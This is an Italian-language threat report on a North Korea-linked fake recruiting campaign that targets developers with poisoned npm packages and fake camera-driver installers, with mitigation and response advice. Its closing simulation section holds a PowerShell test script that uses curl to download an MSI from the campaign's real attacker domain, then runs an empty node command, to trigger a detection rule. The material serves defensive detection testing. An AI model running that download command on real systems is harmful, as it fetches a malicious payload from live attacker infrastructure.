Campagna di Reclutamento Falsa Usa Pacchetti npm per Prendere di Mira gli Sviluppatori

Riassunto

Un attore di minacce sofisticato legato alla Corea del Nord sta utilizzando falsi procedimenti di reclutamento per compromettere gli sviluppatori. La campagna segue una catena di infezione a più livelli che coinvolge aziende fraudolente, pacchetti npm avvelenati e installatori di “driver della fotocamera” malevoli. Sfruttando piattaforme professionali affidabili come LinkedIn e GitHub, gli attaccanti aumentano la credibilità e riducono i sospetti durante il contatto iniziale.

Indagine

La ricerca sulla sicurezza di JFrog ha tracciato la campagna da un singolo pacchetto npm malevolo a una società fittizia completamente sviluppata chiamata AccuraSoftHire. Gli investigatori hanno scoperto un’infrastruttura coordinata che include profili LinkedIn falsi, un sito web di carriere convincente e molti account npm usa e getta. L’analisi tecnica ha collegato i profili dei recruiter, gli autori dei progetti su GitHub e i pubblicatori di pacchetti npm tramite indirizzi email condivisi e segni ricorrenti nel codice.

Mitigazione

Gli sviluppatori dovrebbero considerare i compiti di programmazione da svolgere a casa come codice non attendibile ed eseguirli solo in macchine virtuali o contenitori isolati e usa e getta. Evitare di eseguire comandi di installazione forniti tramite browser, specialmente quelli che utilizzano curl o PowerShell. Le organizzazioni dovrebbero rafforzare la sicurezza della catena di approvvigionamento del software auditando i file di blocco delle dipendenze e monitorando eventuali aggiornamenti di pacchetti inattesi o non autorizzati.

Risposta

Quando vengono rilevati pacchetti npm sospetti o modifiche non autorizzate ai task di VS Code, isolare immediatamente la postazione di lavoro interessata. Eseguire un’analisi forense dei download recenti, dell’attività del browser e dei comandi eseguiti. Verificare l’esistenza di task pianificati non autorizzati o nuove voci di registro associate agli host di messaggistica nativa di Chrome. Esaminare le credenziali degli sviluppatori e le sessioni attive per ridurre il rischio di dirottamento della sessione.

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere passato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrativa di Attacco & Comandi: L’avversario cerca di stabilire la persistenza mascherandosi come un aggiornamento di sistema. A seguito di un’esca di ingegneria sociale riuscita, l’attaccante esegue un comando curl per scaricare un file MSI malevolo, chiamandolo CameraDriverUpdate.msi per integrarsi nel rumore del sistema. Immediatamente dopo, l’attaccante esegue node -e ""—una tecnica utilizzata per testare l’ambiente o prepararsi per payload JavaScript più complessi e offuscati che sfuggono a semplici rilevamenti. La combinazione di un download specifico a tema driver e un’esecuzione node vuota è il principale innesco per la regola di rilevamento.

• Script di Test di Regressione:

  # Script di simulazione per attivare la regola di rilevamento.
  # Questo script imita le stringhe specifiche identificate nella regola Sigma.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Esecuzione di comando curl malevolo..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Esecuzione di comando node vuoto..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Simulazione completata. Verifica SIEM per Allerta." -ForegroundColor Green

• Comandi di Pulizia:

  # Script di pulizia per rimuovere gli artefatti creati durante la simulazione.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Artefatto MSI malevolo rimosso." -ForegroundColor Cyan
  }